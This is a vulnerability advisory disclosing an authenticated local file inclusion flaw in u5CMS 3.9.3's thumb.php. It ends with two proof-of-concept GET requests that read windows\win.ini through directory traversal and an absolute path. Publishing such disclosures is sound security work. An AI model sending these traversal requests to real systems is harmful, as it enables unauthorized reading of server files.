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u5CMS 3.9.3 (thumb.php) Local File Inclusion Vulnerability


Vendor: Stefan P. Minder
Product web page: http://www.yuba.ch
Affected version: 3.9.3 and 3.9.2

Summary: u5CMS is a little, handy Content Management System for medium-sized
websites, conference / congress / submission administration, review processes,
personalized serial mails, PayPal payments and online surveys based on PHP and
MySQL and Apache.

Desc: u5CMS suffers from an authenticated file inclusion vulnerability (LFI) when
input passed thru the 'f' parameter to thumb.php script is not properly verified
before being used to include files. This can be exploited to include files from
local resources with their absolute path and with directory traversal attacks.

Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5224
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5224.php


29.12.2014

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GET /u5cms/thumb.php?w=100&f=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini HTTP/1.1
GET /u5cms/thumb.php?w=100&f=/windows/win.ini HTTP/1.1